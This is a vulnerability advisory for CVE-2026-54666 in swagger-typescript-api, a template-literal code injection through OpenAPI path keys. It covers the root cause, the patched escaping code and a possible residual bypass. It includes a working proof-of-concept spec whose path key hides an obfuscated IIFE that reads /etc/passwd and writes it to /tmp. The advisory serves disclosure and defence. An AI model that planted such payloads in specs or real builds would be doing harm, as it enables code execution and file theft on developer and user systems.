CVE-2026-54666: Remote Code Execution via OpenAPI Route Path Injection in swagger-typescript-api

The library swagger-typescript-api is an open-source tool utilized to automate the generation of typed API clients (using either Fetch or Axios) from OpenAPI Specification files. To generate clients, the tool parses paths, schemas, and query parameters, and maps them to client procedures using EJS templates. This generation phase constitutes an administrative and build-time attack surface.

Because the generation process assumes the input OpenAPI Specification is trusted, it processes route keys directly from the JSON/YAML structure. If an external entity can control or manipulate the OpenAPI schema used by developers or automated CI/CD pipelines, they gain control over the code generation process. This threat profile targets the build chain and developer workstations.

The vulnerability is classified under CWE-94 (Improper Control of Generation of Code), CWE-74 (Improper Neutralization of Special Elements in Output), and CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). The lack of input sanitization propagates structural injection vulnerabilities from the design schema directly into execution contexts.

The root cause of CVE-2026-54666 lies within src/schema-routes/schema-routes.ts. When processing endpoints, the parser reads the keys of the paths object, which represent the API routes (for example, /users/{id}). The generator performs a substitution loop to convert path parameters from OpenAPI curly-brace format ({id}) to JavaScript template literal syntax (${id}).

Apart from this isolated path parameter replacement, the raw string defining the route path was historically written directly to EJS templates without escaping. The default and modular templates (templates/default/procedure-call.ejs and templates/modular/procedure-call.ejs) utilize backticks to enclose the resulting URI path string.

Because backticks, backslashes, and target evaluation sequences (${) were not sanitized, any user-supplied string containing these characters was written raw into the output files. When the JavaScript engine evaluates the backtick literal during client runtime, any embedded expression of the form ${expression} is processed as code and executed immediately by the runtime interpreter.

The patch implemented in version 13.12.2 introduces an escaping step for JavaScript template literals before the parameters are processed in the route definitions.

Below is the comparison of the vulnerable logic versus the patched logic within src/schema-routes/schema-routes.ts and the new utility function introduced:

// Patched: New utility src/util/escape-js-template-literal-with-path-params.ts
/**
 * Escapes backslashes, backticks, and template literal starts for JS strings
 */
export function escapeJsTemplateLiteralStatic(value: string): string {
  return value
    .replace(/\\/g, "\\\\")
    .replace(/`/g, "\\`")
    .replace(/\$\{/g, "\\${");
}

The implementation integrates into the schema parsing lifecycle as shown below:

// Vulnerable Code Path:
// The raw path was passed directly into parameter reduction
let fixedRoute = pathParams.reduce((fixedRoute, pathParam) => {
  return fixedRoute.replace(pathParam.$match, `\${${pathParam.name}}`);
}, routeName); // routeName was unescaped
 
// Patched Code Path (Commit 306d59acb8ffbb00f953f807b97234b21f51d9de):
// The routeName is escaped first, preserving safely formatted parameter markers
const escapedRouteName = escapeJsTemplateLiteralStatic(routeName || "");
 
let fixedRoute = pathParams.reduce((fixedRoute, pathParam, i, arr) => {
  const insertion =
    this.config.hooks.onInsertPathParam(
      pathParam.name,
      pathParam.$match,
      i,
      arr,
      fixedRoute,
    ) || pathParam.name;
  // Safe substitution occurs after base escaping
  return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
}, escapedRouteName);

By executing escapeJsTemplateLiteralStatic on the raw route key prior to injecting parameters, any pre-existing executable ${ blocks or backticks within the OpenAPI path key are safely neutralised by prepending backslashes.

Exploitation requires hosting or delivering a manipulated OpenAPI specification containing a payload inside a path key. An attacker embeds an Immediately Invoked Function Expression (IIFE) within the path parameters.

Consider the following structured proof-of-concept OpenAPI Specification payload designed to read sensitive files on a Unix system:

{
  "openapi": "3.0.0",
  "info": { "title": "InjectedAPI", "version": "1.0.0" },
  "paths": {
    "/api/${\(async\(\)=>{try{const m=Buffer.from(\"bm9kZTpmcw==\",\"base64\").toString();const f=await import\(m\);const d=f.readFileSync\(\"/etc/passwd\",\"utf8\"\);f.writeFileSync\(\"/tmp/pwned\",d\);}catch\(e\){}return\ \"x\";}\)\(\)}/data": {
      "get": {
        "operationId": "triggerRce",
        "responses": { "200": { "description": "Success" } }
      }
    }
  }
}

When a developer processes this document using swagger-typescript-api < 13.12.2, the output file generates the following statement:

triggerRce = (params: RequestParams = {}) =>
  this.request<any, any>({
    path: `/api/${(async()=> { ... })()}/data`,
    method: "GET",
    ...params,
  });

When triggerRce() is invoked by the application code, the backtick template is evaluated by the runtime engine (such as Node.js or a browser environment). The IIFE executes immediately, resolving the standard library node:fs, reading local system files, and writing them to the temporary directory.

The execution impact depends entirely on the environment hosting the generated API client. If the generated client is integrated into a backend Node.js application, the injected code runs with the operational permissions of the Node.js process. This can result in arbitrary command execution, local file system modification, access to system environment variables, or remote exfiltration of credentials.

If the client is built into a browser application via bundlers (such as Webpack, Vite, or Esbuild), the payload executes inside the browser of users accessing the front end. This can lead to session hijacking, data exfiltration, or defacement of the application context.

The vector has a CVSS base score of 8.3. The Attack Complexity is classified as High (AC:H) because exploitation depends on a user pulling an untrusted specification file and invoking the output function. However, the scope is Changed (S:C) because exploitation of the compiler tool compromises downstream client services.

While the patch effectively prevents direct exploitation through standard path interpolation, a deep code review reveals minor residual risks that may persist in edge configurations.

The regular expression utilized by the tool to locate path parameters is defined as /({[\w[\\\]^][-_.\w]*})/g. This regular expression explicitly permits backticks (`` ``) and backslashes (\) inside parameter names.

Because the escaping utility escapeJsTemplateLiteralStatic is applied to the raw route path before the path parameters are substituted, if a parameter is defined with a name like \{myinject}`, the subsequent replacement operation can reintroduce unescaped backticks into the final generated template literal. This risk is minimized because parameter names are typically validated structurally, but it constitutes a potential bypass if the parameter definitions themselves are not properly restricted.